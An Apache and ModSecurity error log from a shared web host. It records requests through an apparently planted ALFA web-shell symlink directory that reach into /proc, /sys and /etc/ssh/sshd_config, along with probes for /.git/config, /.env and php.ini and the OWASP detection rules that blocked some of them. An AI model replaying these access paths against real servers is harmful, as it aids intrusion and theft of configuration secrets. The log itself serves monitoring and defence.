[Sun Oct 25 10:22:10.173966 2026] [core:error] [pid 2847168:tid 2847168] (13)Permission denied: [client 18.232.11.247:38922] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory12/node0/memory5/subsystem/drivers_probe
[Sun Oct 25 10:22:14.132976 2026] [ssl:error] [pid 2847142:tid 2847142] (70014)End of file found: [client 3.220.70.171:7706] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:22:27.861350 2026] [core:error] [pid 2847145:tid 2847145] (13)Permission denied: [client 185.191.171.1:55398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/taskstats/store_user
[Sun Oct 25 10:22:34.130709 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.215.231.15:25844] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:22:38.226870 2026] [ssl:error] [pid 2847162:tid 2847162] (70014)End of file found: [client 44.205.120.22:36286] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:22:46.124563 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 44.216.172.204:36430] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:22:54.155830 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 3.213.46.222:19055] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:22:57.043785 2026] [core:error] [pid 2847145:tid 2847145] (13)Permission denied: [client 185.191.171.6:21100] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ib_core/sections/__ksymtab
[Sun Oct 25 10:22:58.310472 2026] [ssl:error] [pid 2842301:tid 2842301] (5)Input/output error: [client 3.213.85.234:9395] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:23:02.230219 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 18.235.81.246:24007] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:23:06.357458 2026] [ssl:error] [pid 2806348:tid 2806348] (5)Input/output error: [client 3.220.70.171:42095] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:23:10.628795 2026] [security2:error] [pid 2847142:tid 2847142] [client 124.156.157.91:56446] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimoagenda.php"] [unique_id "at4QzmrFWI1OOYf4HlpzwAAAAAc"]
[Sun Oct 25 10:23:14.179944 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 184.73.167.217:55979] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:23:17.385484 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 85.208.96.207:45082] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:23:22.149380 2026] [ssl:error] [pid 2847145:tid 2847145] (70014)End of file found: [client 52.3.102.51:42127] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:23:26.271076 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 52.4.76.156:64103] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:23:30.258816 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 18.214.124.6:11833] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:23:34.199471 2026] [ssl:error] [pid 2847162:tid 2847162] (70014)End of file found: [client 18.233.24.238:3187] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:23:38.180835 2026] [ssl:error] [pid 2847168:tid 2847168] (70014)End of file found: [client 52.204.89.12:26809] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:23:46.351716 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 52.205.113.104:13573] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:23:58.197946 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 18.232.11.247:65254] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:24:01.990617 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 185.191.171.3:23608] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/partial
[Sun Oct 25 10:24:06.277641 2026] [ssl:error] [pid 2847168:tid 2847168] (5)Input/output error: [client 100.29.155.89:11768] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:24:07.968446 2026] [core:error] [pid 2847227:tid 2847227] (13)Permission denied: [client 85.208.96.196:47452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/cache_dma
[Sun Oct 25 10:24:14.452581 2026] [ssl:error] [pid 2847145:tid 2847145] (5)Input/output error: [client 98.83.226.125:14886] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:24:18.392049 2026] [core:error] [pid 2842301:tid 2842301] (13)Permission denied: [client 3.221.244.28:58061] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:1c/subsystem/drivers/ec/unbind
[Sun Oct 25 10:24:26.281080 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.71.216.196:19233] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:24:42.282567 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 52.203.237.170:15924] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:24:46.250369 2026] [ssl:error] [pid 2847145:tid 2847145] (70014)End of file found: [client 54.86.59.155:5742] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:24:58.234771 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.235.191.179:57876] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:25:02.314618 2026] [ssl:error] [pid 2847168:tid 2847168] (70014)End of file found: [client 3.209.174.110:9066] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:25:03.882784 2026] [security2:error] [pid 2834025:tid 2834025] [client 172.68.151.14:12690] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4RP6Gxe7V6jzF5H8VNiAAAABg"]
[Sun Oct 25 10:25:03.883023 2026] [security2:error] [pid 2834025:tid 2834025] [client 172.68.151.14:12690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4RP6Gxe7V6jzF5H8VNiAAAABg"]
[Sun Oct 25 10:25:03.883315 2026] [security2:error] [pid 2834025:tid 2834025] [client 172.68.151.14:12690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4RP6Gxe7V6jzF5H8VNiAAAABg"]
[Sun Oct 25 10:25:10.643715 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 44.215.210.112:18617] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:25:25.609637 2026] [core:error] [pid 2847168:tid 2847168] (13)Permission denied: [client 85.208.96.209:25254] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/store_user
[Sun Oct 25 10:25:26.281296 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 100.28.57.133:49434] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:25:34.278819 2026] [core:error] [pid 2842301:tid 2842301] (13)Permission denied: [client 44.223.116.180:56878] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/subsystem/cooling_device0/device/physical_node/crash_notes
[Sun Oct 25 10:25:50.538759 2026] [ssl:error] [pid 2847142:tid 2847142] (70014)End of file found: [client 107.20.255.194:43420] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:26:06.773763 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 34.206.249.188:49168] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:26:10.292725 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 23.21.175.228:50232] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:26:14.426937 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 52.44.174.136:5210] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory7/node0/memory21/subsystem/uevent
[Sun Oct 25 10:26:19.028668 2026] [authz_core:error] [pid 2847145:tid 2847145] [client 130.12.180.171:33628] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 10:26:26.122887 2026] [core:error] [pid 2847162:tid 2847162] (13)Permission denied: [client 185.191.171.4:29808] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/ctor
[Sun Oct 25 10:26:26.467830 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 98.83.177.42:31409] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:26:30.476191 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 44.217.177.142:6332] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:26:38.341293 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 98.84.200.43:19045] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:26:46.343388 2026] [security2:error] [pid 2847227:tid 2847227] [client 3.93.211.16:55465] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/power/"] [unique_id "at4RppaFInOsw263h0DqywAAADU"]
[Sun Oct 25 10:26:46.343443 2026] [security2:error] [pid 2847227:tid 2847227] [client 3.93.211.16:55465] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/power/"] [unique_id "at4RppaFInOsw263h0DqywAAADU"]
[Sun Oct 25 10:26:48.931041 2026] [security2:error] [pid 2847173:tid 2847173] [client 185.191.171.15:59748] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/sestatus.conf"] [unique_id "at4RqA8IdyxlzPtPgw-QMwAAACA"]
[Sun Oct 25 10:26:48.931532 2026] [security2:error] [pid 2847173:tid 2847173] [client 185.191.171.15:59748] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/sestatus.conf"] [unique_id "at4RqA8IdyxlzPtPgw-QMwAAACA"]
[Sun Oct 25 10:26:48.932008 2026] [security2:error] [pid 2847173:tid 2847173] [client 185.191.171.15:59748] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/sestatus.conf"] [unique_id "at4RqA8IdyxlzPtPgw-QMwAAACA"]
[Sun Oct 25 10:26:54.470753 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 3.216.86.144:18448] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:26:58.696090 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 54.83.23.103:57049] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:27:02.331508 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 44.208.193.63:19033] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:27:06.424270 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 52.54.157.23:42786] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:27:10.720651 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 16.216.88.50:45056] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/ssh/sshd_config
[Sun Oct 25 10:27:18.404186 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 23.23.137.202:36500] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:27:19.276650 2026] [core:error] [pid 2847176:tid 2847176] (13)Permission denied: [client 85.208.96.208:18038] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pde_opener/objects_partial
[Sun Oct 25 10:27:26.345853 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 3.211.181.86:29468] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:27:38.600795 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.203.152.231:10699] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:27:54.425794 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 54.156.248.117:21425] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:28:07.038861 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 85.208.96.205:21418] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:28:22.464987 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 52.70.123.241:42124] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:28:26.450502 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 44.194.134.53:22431] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:28:34.555871 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 44.207.69.106:3708] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:28:42.451702 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 100.29.128.75:30880] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:28:50.760620 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 18.232.12.157:63082] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:28:58.662681 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 23.21.250.48:50176] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:29:10.478122 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 18.214.124.6:62547] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:29:18.842789 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 52.6.5.24:34771] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:29:30.573101 2026] [ssl:error] [pid 2847141:tid 2847141] (70014)End of file found: [client 3.210.29.96:10746] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:29:50.773615 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 100.28.118.16:44490] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:29:54.625207 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 3.214.176.44:36868] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:30:26.961360 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 85.208.96.202:43944] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_data/red_zone
[Sun Oct 25 10:30:34.869199 2026] [ssl:error] [pid 2847176:tid 2847176] (70014)End of file found: [client 44.194.139.149:15957] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:31:02.645756 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 98.82.38.120:19039] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:31:14.840535 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 3.213.46.222:9814] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:31:21.481618 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 185.191.171.11:54864] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kcopyd_job/aliases
[Sun Oct 25 10:31:26.799916 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 50.19.102.70:28953] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:31:37.776623 2026] [core:error] [pid 2847175:tid 2847175] (13)Permission denied: [client 85.208.96.211:13260] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inet_peer_cache/cpu_partial
[Sun Oct 25 10:31:46.719947 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 44.223.115.10:59919] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/subsystem/input1/event1/device/device/driver/serio0/firmware_node/physical_node1/drvctl
[Sun Oct 25 10:31:51.411797 2026] [ssl:error] [pid 2847141:tid 2847141] (70014)End of file found: [client 34.196.6.199:21646] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:32:11.040697 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 54.152.163.42:10927] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:32:19.273182 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 50.17.193.48:62260] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty63/subsystem/ttyS1/closing_wait
[Sun Oct 25 10:32:26.972705 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 50.16.216.166:35872] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:32:37.805128 2026] [security2:error] [pid 2847221:tid 2847221] [client 85.208.96.197:64166] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/goffice67/php56/install.php"] [unique_id "at4TBeM--6-a9qfJalgPvgAAAC8"]
[Sun Oct 25 10:32:37.805173 2026] [security2:error] [pid 2847221:tid 2847221] [client 85.208.96.197:64166] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/goffice67/php56/install.php"] [unique_id "at4TBeM--6-a9qfJalgPvgAAAC8"]
[Sun Oct 25 10:32:42.984564 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 98.82.39.241:55765] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:32:46.996610 2026] [ssl:error] [pid 2847176:tid 2847176] (70014)End of file found: [client 52.70.138.176:14667] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:32:50.935256 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 35.172.125.172:27565] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:32:52.795067 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 185.191.171.15:24690] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:32:59.048827 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.159.98.248:60905] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:33:02.914251 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 44.207.252.58:23376] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:33:03.234824 2026] [security2:error] [pid 2834019:tid 2834019] [client 130.12.180.163:36452] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at4TH0sgp-xlBP1GcWOSiwAAABE"]
[Sun Oct 25 10:33:03.235077 2026] [security2:error] [pid 2834019:tid 2834019] [client 130.12.180.163:36452] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at4TH0sgp-xlBP1GcWOSiwAAABE"]
[Sun Oct 25 10:33:03.235990 2026] [security2:error] [pid 2834019:tid 2834019] [client 130.12.180.163:36452] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at4TH0sgp-xlBP1GcWOSiwAAABE"]
[Sun Oct 25 10:33:13.856269 2026] [core:error] [pid 2847227:tid 2847227] (13)Permission denied: [client 85.208.96.198:24380] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-96/usersize
[Sun Oct 25 10:33:15.224625 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.210.155.69:9644] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:33:27.118492 2026] [core:error] [pid 2847221:tid 2847221] (13)Permission denied: [client 3.232.39.98:21498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:13/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/remove
[Sun Oct 25 10:33:28.565832 2026] [security2:error] [pid 2847214:tid 2847214] [client 43.164.133.138:37824] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimox2.php"] [unique_id "at4TOPhVEu9HLPc5D-_5pwAAACk"]
[Sun Oct 25 10:33:33.291566 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 185.191.171.15:43304] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:33:35.169097 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 100.25.120.246:55756] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:33:39.145729 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 3.217.171.106:60805] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:33:41.257008 2026] [authz_core:error] [pid 2834019:tid 2834019] [client 24.199.90.68:50546] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Sun Oct 25 10:33:41.290722 2026] [authz_core:error] [pid 2847221:tid 2847221] [client 24.199.90.68:44850] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Sun Oct 25 10:33:43.555428 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 44.215.61.66:58050] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:33:59.246058 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 34.224.9.144:28570] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:34:07.272080 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.210.152.179:51296] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:34:11.272322 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 44.213.202.136:27670] AH02013: coalesce failed to read from data bucket
